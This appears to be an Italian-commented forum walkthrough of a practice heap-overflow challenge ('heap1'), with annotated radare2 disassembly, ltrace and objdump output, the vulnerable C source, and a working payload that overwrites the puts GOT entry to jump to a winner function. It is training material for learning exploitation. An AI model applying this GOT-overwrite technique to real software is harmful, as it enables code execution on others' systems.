r2 ./heap1
aaa
afl
s main
[0x080484b9]> pdf
;DATA XREF from entry0 @ 0x80483f7(r)
175: int main (char **argv);
;arg char **envp @ ebp+0xc
;var char *src @ esp+0x4
;var void **var_14h @ esp+0x14
;var void **var_18h @ esp+0x18
;char *src esp+4
;**argv ebp+0xc, array argv
;esp+0x14 ; 20 byte, array di array
;esp+0x18 ; 24 byte, array di array
0x080484b9 55 push ebp
0x080484ba 89e5 mov ebp, esp
0x080484bc 83e4f0 and esp, 0xfffffff0
0x080484bf 83ec20 sub esp, 0x20 ;32 byte
0x080484c2 c70424080000. mov dword [esp], 8 ;size_t size
0x080484c9 e8eefeffff call sym.imp.malloc ;void *malloc(size_t size)
;eax = indirizzo della memoria allocata, di 8 byte, sono 4+4, 4 byte per l'intero e 4 byte per il puntatore a char0x080484ce 89442414 mov dword [var_14h], eax
0x080484d2 8b442414 mov eax, dword [var_14h]
0x080484d6 c70001000000 mov dword [eax], 1
;esp+0x14 ; 8 byte allocati
;in [var_14] c'è l'indirizzo della memoria allocata con la malloc; e questo indirizzo lo andiamo a mettere in eax e lo andiamo a valorizzare con 1;
;var_14h -> [1, memoria allocata]0x080484dc c70424080000. mov dword [esp], 8 ;size_t size
0x080484e3 e8d4feffff call sym.imp.malloc ;void *malloc(size_t size)
0x080484e8 89c2 mov edx, eax
;altri 8 byte il cui indirizzo ritornato dalla malloc lo andiamo a mettere in edx
;rimettiamo l'indirizzo di var_14 in eax
;e quindi in eax+4 ci andiamo a mettere l'indirizzo della memoria allocata con la seconda malloc;0x080484ea 8b442414 mov eax, dword [var_14h]
0x080484ee 895004 mov dword [eax + 4], edx
;var_14h -> [1, memoria allocata]0x080484f1 c70424080000. mov dword [esp], 8 ;size_t size
0x080484f8 e8bffeffff call sym.imp.malloc ;void *malloc(size_t size)
;altri 8 byte; questa volta l'indirizzo ritornato dalla malloc lo mettiamo in var_18h, lo mettiamo in eax, e dopo lo andiamo a valorizzare con 20x080484fd 89442418 mov dword [var_18h], eax
0x08048501 8b442418 mov eax, dword [var_18h]
0x08048505 c70002000000 mov dword [eax], 2
0x0804850b c70424080000. mov dword [esp], 8 ;size_t size
0x08048512 e8a5feffff call sym.imp.malloc ;void *malloc(size_t size)
;altri 8 byte con la malloc0x08048517 89c2 mov edx, eax
0x08048519 8b442418 mov eax, dword [var_18h]
0x0804851d 895004 mov dword [eax + 4], edx
;anche qui, eax + 4 punta alla location adiacente, cioè al puntatore a char e qui ci mettiamo l'indirizzo ritornato dalla malloc
;var_18h -> [2, memoria allocata]0x08048520 8b450c mov eax, dword [argv]
0x08048523 83c004 add eax, 4
0x08048526 8b00 mov eax, dword [eax]
;add eax, 4 l'elemento successivo nell'array argv
;mi prendo il contenuto, lo metto in edx0x08048528 89c2 mov edx, eax
0x0804852a 8b442414 mov eax, dword [var_14h]
0x0804852e 8b4004 mov eax, dword [eax + 4]
;in eax ci vado a mettere l'elemento successivo dell'array puntato da var_14h0x08048531 89542404 mov dword [src], edx ;const char *src
0x08048535 890424 mov dword [esp], eax ;char *dest
0x08048538 e84ffeffff call sym.imp.strcpy ;char *strcpy(char *dest, const char *src)
;var_14h -> [1, argv[1]]
;qui faccio la prima strcpy, dove la sorgente è la argv[1], e la destinazione è var_14[1] 0x0804853d 8b450c mov eax, dword [envp]
0x08048540 83c008 add eax, 8
;secondo elemento della argv, argv[2]0x08048543 8b00 mov eax, dword [eax]
0x08048545 89c2 mov edx, eax
0x08048547 8b442418 mov eax, dword [var_18h]
0x0804854b 8b4004 mov eax, dword [eax + 4]
0x0804854e 89542404 mov dword [src], edx ;const char *src
0x08048552 890424 mov dword [esp], eax ;char *dest
0x08048555 e832feffff call sym.imp.strcpy ;char *strcpy(char *dest, const char *src)
;qui faccio la prima strcpy, dove la sorgente è la argv[2], e la destinazione è var_18[1]
;var_14h -> [1, argv[1]]
;var_18h -> [2, argv[2]]0x0804855a c704244b8604. mov dword [esp], str.and_thats_a_wrap_folks_ ; [0x804864b:4]=0x20646e61 ; "and that's a wrap folks!" ;const char *s
0x08048561 e866feffff call sym.imp.puts ;int puts(const char *s)
0x08048566 c9 leave
0x08048567 c3 ret
ARGV1=`python -c 'import struct; print "aaaaaaaaaaaaaaaaaaaabbbb"'`
ARGV2=`python -c 'import struct; print "cccccccccccccccc"'`
ltrace ./heap1 $ARGV1 $ARGV2
__libc_start_main(0x80484b9, 3, 0xfff3a924, 0x8048580 <unfinished ...>
malloc(8) = 0x8bf41a0
malloc(8) = 0x8bf41b0
malloc(8) = 0x8bf41c0
malloc(8) = 0x8bf41d0
strcpy(0x8bf41b0, "aaaaaaaaaaaaaaaaaaaabbbb") = 0x8bf41b0
strcpy(0x62626262, "cccccccccccccccc" <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +
;attraverso ltrace vediamo che con la prima strcpy andiamo a sovrascrivere il primo campo del secondo elemento di tipo struttura che abbiamo nell'heap, in cui poi attraverso la seconda strcpy possiamo copiare qualsiasi cosa;
;ecco che possiamo sfruttare questo heap overflow per andare a sostituire l'indirizzo della puts nel GOT (Global Offset Table), con l'indirizzo della funzione winner che troviamo all'interno dell'eseguibileobjdump -R ./heap1
./heap1: formato del file elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804974c R_386_GLOB_DAT __gmon_start__
0804975c R_386_JUMP_SLOT __gmon_start__
08049760 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
08049764 R_386_JUMP_SLOT strcpy@GLIBC_2.0
08049768 R_386_JUMP_SLOT printf@GLIBC_2.0
0804976c R_386_JUMP_SLOT time@GLIBC_2.0
08049770 R_386_JUMP_SLOT malloc@GLIBC_2.0
08049774 R_386_JUMP_SLOT puts@GLIBC_2.0
objdump -d -j .text ./heap1 | grep puts
8048561: e8 66 fe ff ff call 80483cc <puts@plt>
gdb-peda$ x/3i 0x80483cc
0x80483cc <puts@plt>: jmp DWORD PTR ds:0x8049774
08049774 R_386_JUMP_SLOT puts@GLIBC_2.0
objdump -D -M intel ./heap1 | grep winner
08048494 <winner>:
;08049774 R_386_JUMP_SLOT puts@GLIBC_2.0
;quindi con il primo argomento passato a heap1 andiamo a sovrascrivere il primo elemento della seconda struttura, con l'idirizzo del puntatore alla funzione puts nel GOT; con il secondo argomento, invece inseriamo l'indirizzo della funzione winnerARGV1=`python -c 'import struct; print "aaaaaaaaaaaaaaaaaaaa" + struct.pack("I",0x08049774)'`
ARGV2=`python -c 'import struct; print struct.pack("I",0x8048494)'`
ltrace ./heap1 $ARGV1 $ARGV2
__libc_start_main(0x80484b9, 3, 0xffff2e54, 0x8048580 <unfinished ...>
malloc(8) = 0x9bc31a0
malloc(8) = 0x9bc31b0
malloc(8) = 0x9bc31c0
malloc(8) = 0x9bc31d0
strcpy(0x9bc31b0, "aaaaaaaaaaaaaaaaaaaat\227\004\b") = 0x9bc31b0
strcpy(0x8049774, "\224\204\004\b") = 0x8049774
puts("and that's a wrap folks!" <unfinished ...>
time(0) = 1671715200
printf("and we have a winner @ %d\n", 1671715200and we have a winner @ 1671715200
) = 34
<... puts resumed> ) = 34
+++ exited (status 34) +++
./heap1 $ARGV1 $ARGV2
and we have a winner @ 1671715233
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
Edited by AKIRA BASHO - 11/4/2023, 15:30